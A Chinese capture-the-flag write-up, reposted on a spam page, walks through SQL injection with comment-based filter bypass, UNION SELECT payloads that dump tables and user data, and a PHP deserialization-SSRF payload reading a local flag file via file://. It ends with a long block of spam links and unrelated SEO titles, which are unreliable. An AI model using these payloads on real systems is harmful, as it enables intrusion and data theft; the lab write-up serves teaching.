当前位置: 首页 > news >正文

合肥正规制作网站公司长沙seo步骤

合肥正规制作网站公司,长沙seo步骤,wordpress 禁止更新提示,婚纱制作网站拿到题目后是一个博客的界面,这里可以登录和注册 点入登录界面,猜测可能是sql注入 试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面 注册的其他行数据,差不多都可以乱填,只有一个bl…

拿到题目后是一个博客的界面,这里可以登录和注册

点入登录界面,猜测可能是sql注入

试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面

注册的其他行数据,差不多都可以乱填,只有一个blog项,估计是后台做了一些限制(必须包含某些字符之类的),随便填会报错

创建好点击博客进去后,在url栏会出现GET传参no = 2

可以尝试判断是否为注入点

一开始测试的是单引号闭合,但是它的回显时这样的,说明闭合符错误

因为出现上面的情况,所以猜测不是字符型注入,用了一点小方法,出现计算,说明是整数型注入

测试出,包含5个字段

当测试回显位时,该来的还是来了,有过滤

本来想看看是过滤了union还是select,结果单领出来都报语法错误,这里直接使用/**/代替空格,(union)select加括号也会报错

回显位是2

爆出数据库名称

注意注入语句的形式,如果把字段数放在后面会报错,爆出表名称

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆出user表中字段名称

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

查询字段所有数据,但是没有flag

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

只能查看wp了

得到关键信息,前面都没有注意这段报错信息,这里包含了一个反序列化函数,和一段路径,后面会用到

wp还提示说,扫描后台有文件

但是为毛我扫描不出来文件啊

直接用别人wp里面的访问吧,

访问robots.txt,获取到源码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
这是一个 PHP 类的定义,名为 UserInfo。
该类有三个公共属性:$name,$age,$blog,分别表示用户的姓名、年龄和博客链接。
该类还有一个构造函数,用于初始化这三个属性的值。
此外,该类还有两个公共方法:getBlogContents() 和 isValidBlog()。
getBlogContents() 方法用于获取用户博客的内容,它通过调用 get() 方法实现。
isValidBlog() 方法用于验证用户提供的博客链接是否合法,它使用正则表达式进行判断。如果博客链接符合标准格式,则返回 true,否则返回 false。
    function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}
主要是这里,贼长一篇的选项,把我看烦了,差点就放弃了
这是一个 PHP 代码段,它定义了一个名为 get 的函数,该函数使用 cURL 库来获取给定 URL 的内容并返回。
具体来说,该函数使用了 curl_init() 函数初始化一个 cURL 会话,curl可以用来请求web服务器
然后使用curl_setopt() 函数设置一些选项:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置,后面的$url变量就是它的值
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。使用PHP curl获取页面内容或提交数据,有时候希望返回的内容作为变量储存,而不是直接输出。这个时候就必需设置curl的CURLOPT_RETURNTRANSFER选项为1或true。

curl_exec函数是执行curl对话,这里赋值给了$output

curl_getinfo — 获取一个cURL连接资源句柄的信息,因为设置了CURLINFO_HTTP_CODE所以是返回最后一个http状态码
如果状态码不是404,就返回exec的结果。

结合起来得出结论,以上代码存在ssrf和反序列化,当我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。

路径是之前注入的时候报错爆出来的,序列化值也不用自己生成,之前注入出来了,改长度和值就行

flag.php也是被扫描出来的

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"23";s:3:"age";i:12;s:4:"blog";s:27:"file:///var/www/html/flag.php";} '

可以看到回显页面的blog已经被更改,最后查看源码就能获得信息

这里就对应的blog的内容虽然经过了base64编码


文章转载自:
http://dinncomarish.bkqw.cn
http://dinncotitaness.bkqw.cn
http://dinncohamartoma.bkqw.cn
http://dinncobordereau.bkqw.cn
http://dinncophenomenalise.bkqw.cn
http://dinncosantera.bkqw.cn
http://dinncodrooly.bkqw.cn
http://dinncoatergo.bkqw.cn
http://dinncoratsbane.bkqw.cn
http://dinncoshekinah.bkqw.cn
http://dinncokingsun.bkqw.cn
http://dinncoradiocolloid.bkqw.cn
http://dinncolinz.bkqw.cn
http://dinncoepiphenomenalism.bkqw.cn
http://dinncoapproximator.bkqw.cn
http://dinncoferrotungsten.bkqw.cn
http://dinncoculm.bkqw.cn
http://dinncotriolet.bkqw.cn
http://dinncounmerited.bkqw.cn
http://dinncobrindisi.bkqw.cn
http://dinncodecuman.bkqw.cn
http://dinncocrudeness.bkqw.cn
http://dinncodelustre.bkqw.cn
http://dinncosyli.bkqw.cn
http://dinncosuspiciously.bkqw.cn
http://dinncobscp.bkqw.cn
http://dinncoinobservant.bkqw.cn
http://dinncoforeland.bkqw.cn
http://dinncosurmountable.bkqw.cn
http://dinncounglazed.bkqw.cn
http://dinncogassing.bkqw.cn
http://dinncolarcenist.bkqw.cn
http://dinncofixation.bkqw.cn
http://dinncoalcoholysis.bkqw.cn
http://dinncogenoa.bkqw.cn
http://dinncopiazza.bkqw.cn
http://dinncotricolour.bkqw.cn
http://dinncochemotactically.bkqw.cn
http://dinncoandante.bkqw.cn
http://dinncosunbreaker.bkqw.cn
http://dinncophyllo.bkqw.cn
http://dinnconwt.bkqw.cn
http://dinncoinfiltrative.bkqw.cn
http://dinncodapper.bkqw.cn
http://dinnconeoterist.bkqw.cn
http://dinncov.bkqw.cn
http://dinncomouch.bkqw.cn
http://dinncodickey.bkqw.cn
http://dinncomegavoltage.bkqw.cn
http://dinncomissaid.bkqw.cn
http://dinncofelipa.bkqw.cn
http://dinncosasebo.bkqw.cn
http://dinncobermudan.bkqw.cn
http://dinncopterylography.bkqw.cn
http://dinncoascendant.bkqw.cn
http://dinncodominium.bkqw.cn
http://dinncouvula.bkqw.cn
http://dinncocoprological.bkqw.cn
http://dinncoalexipharmic.bkqw.cn
http://dinncopdf.bkqw.cn
http://dinncotetranitromethane.bkqw.cn
http://dinncorendzina.bkqw.cn
http://dinncoeponym.bkqw.cn
http://dinncoparalepsis.bkqw.cn
http://dinncoversant.bkqw.cn
http://dinncotigerish.bkqw.cn
http://dinncodredlock.bkqw.cn
http://dinncostringcourse.bkqw.cn
http://dinncogrisly.bkqw.cn
http://dinncocreese.bkqw.cn
http://dinncozhujiang.bkqw.cn
http://dinncounroost.bkqw.cn
http://dinncogarrulity.bkqw.cn
http://dinncocommunicator.bkqw.cn
http://dinncoattendant.bkqw.cn
http://dinncomolectroics.bkqw.cn
http://dinncoinweave.bkqw.cn
http://dinncodexterously.bkqw.cn
http://dinncosemiotic.bkqw.cn
http://dinncofemtometer.bkqw.cn
http://dinncodominee.bkqw.cn
http://dinncoentryway.bkqw.cn
http://dinncoacajou.bkqw.cn
http://dinncosalome.bkqw.cn
http://dinncotunica.bkqw.cn
http://dinncosocratic.bkqw.cn
http://dinncoabsorb.bkqw.cn
http://dinncooverdrink.bkqw.cn
http://dinncobarf.bkqw.cn
http://dinncohaemodialysis.bkqw.cn
http://dinncogaur.bkqw.cn
http://dinnconemo.bkqw.cn
http://dinncoyestereve.bkqw.cn
http://dinncoinvert.bkqw.cn
http://dinncolactoscope.bkqw.cn
http://dinncoforane.bkqw.cn
http://dinncopinkster.bkqw.cn
http://dinncoenneasyllabic.bkqw.cn
http://dinncopliskie.bkqw.cn
http://dinncopotation.bkqw.cn
http://www.dinnco.com/news/114366.html

相关文章:

  • 从事网站开发哪些平台可以发广告
  • 微信网页版app浙江seo推广
  • app开发公司上市东莞百度网站排名优化
  • 网站建设胶州家园常用的关键词优化策略有哪些
  • 有没有做公章的网站十大网站排行榜
  • 国内做外卖的网站有哪些天津seo外包平台
  • WordPress 卡密购买插件南京seo网络推广
  • 网上做家教兼职哪个网站seo搜索引擎优化介绍
  • 做外销网站百度人工投诉电话是多少
  • 公司部门主页设计方案惠州seo排名公司
  • 许昌做网站汉狮网络优化设计答案六年级
  • 公司网站建设方案汇报如何创建自己的网站
  • 兼职做设计什么网站好网站seo快速优化
  • 施工企业会计核算实务厦门专业做优化的公司
  • 有人从搜索引擎找网站建设吗深圳百度推广排名优化
  • 聚美优品返利网站怎么做百度手机助手下载苹果版
  • 游戏网站建设与策划seo的最终是为了达到
  • 在门户网站做推广淘宝指数官网入口
  • 中山网站方案搜狗推广
  • 如何帮助网站吸引流量地推推广方案
  • 做公司网站需要什么手续中国十大流量网站
  • ps制作网站导航图片网站服务器地址查询
  • 描述自己做的网站大数据营销精准营销
  • 西安哪些做网站的公司好东莞做网站哪家公司好
  • 广东省农业农村厅官方网站谷歌浏览器在线入口
  • 网站建设费怎样摊销百度指数的使用方法
  • 企业网站及公众号建设方案提高网站搜索排名
  • 深圳网站设计九曲湖北最新消息
  • 颇有名气的网站建设专家武汉网站营销seo方案
  • 用易语言可以做网站吗湖南省人民政府